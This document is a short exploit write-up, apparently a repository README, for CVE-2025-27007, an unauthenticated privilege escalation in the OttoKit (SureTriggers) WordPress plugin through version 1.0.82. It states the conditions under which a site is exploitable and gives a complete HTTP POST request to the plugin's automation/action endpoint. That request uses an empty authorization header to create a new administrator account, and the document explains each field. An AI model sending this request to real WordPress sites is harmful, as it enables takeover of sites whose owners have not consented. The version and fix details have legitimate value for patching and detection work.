📄 WordPress OttoKit 1.0.82 Privilege Escalation

# CVE-2025-27007: OttoKit (SureTriggers) Privilege Escalation Vulnerability 
    
    Exploitation of CVE-2025-27007, a critical vulnerability in unauthorized privilege escalation in the OttoKit plugin (formerly known as SureTriggers) for WordPress. This repository outlines how an attacker can create an administrator account on a vulnerable WordPress site.
    
    ### Affected Versions
    - All versions of OttoKit (SureTriggers) **≤ 1.0.82**.
    - Fixed in version **1.0.83**.
    
    ### Conditions for Exploitation
    The vulnerability can be exploited under the following circumstances:
    1. OttoKit must be installed and activated on the target WordPress site.
    2. The plugin **uninitialized** (e.g., no API key or "secret_key" is set in the database).
    3. The target site displays the REST API endpoint '/wp-json/sure-triggers/v1/automation/action'.
    
    ---
    
    ### HTTP Request
    The following request targets the `/wp-json/sure-triggers/v1/automation/action` endpoint to create an administrator account:
    
    ```http
    POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
    Host: [target-site]
    Content-Type: application/x-www-form-urlencoded
    St-Authorization: 
    Content-Length: [length]
    
    selected_options[user_name]=new_admin&selected_options[user_email][email protected]&selected_options[password]=StrongP@ssw0rd123&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists
    
    ```
    ------------------------------------------------------------------
    
    ## Explanation of Request
    * Endpoint: POST /wp-json/sure-triggers/v1/automation/action
    
    * St-Authorization:  (empty): Bypasses authentication when the plugin is unconfigured.
    
    * selected_options[user_name]: Username for the new account (e.g., new_admin).
    
    * selected_options[user_email]: Email for the new account (e.g., [email protected]).
    
    * selected_options[password]: Password for the new account (e.g., StrongP@ssw0rd123).
    
    * selected_options[role]: Set to administrator to grant full privileges.
    
    *  type_event: Set to create_user_if_not_exists to trigger user creation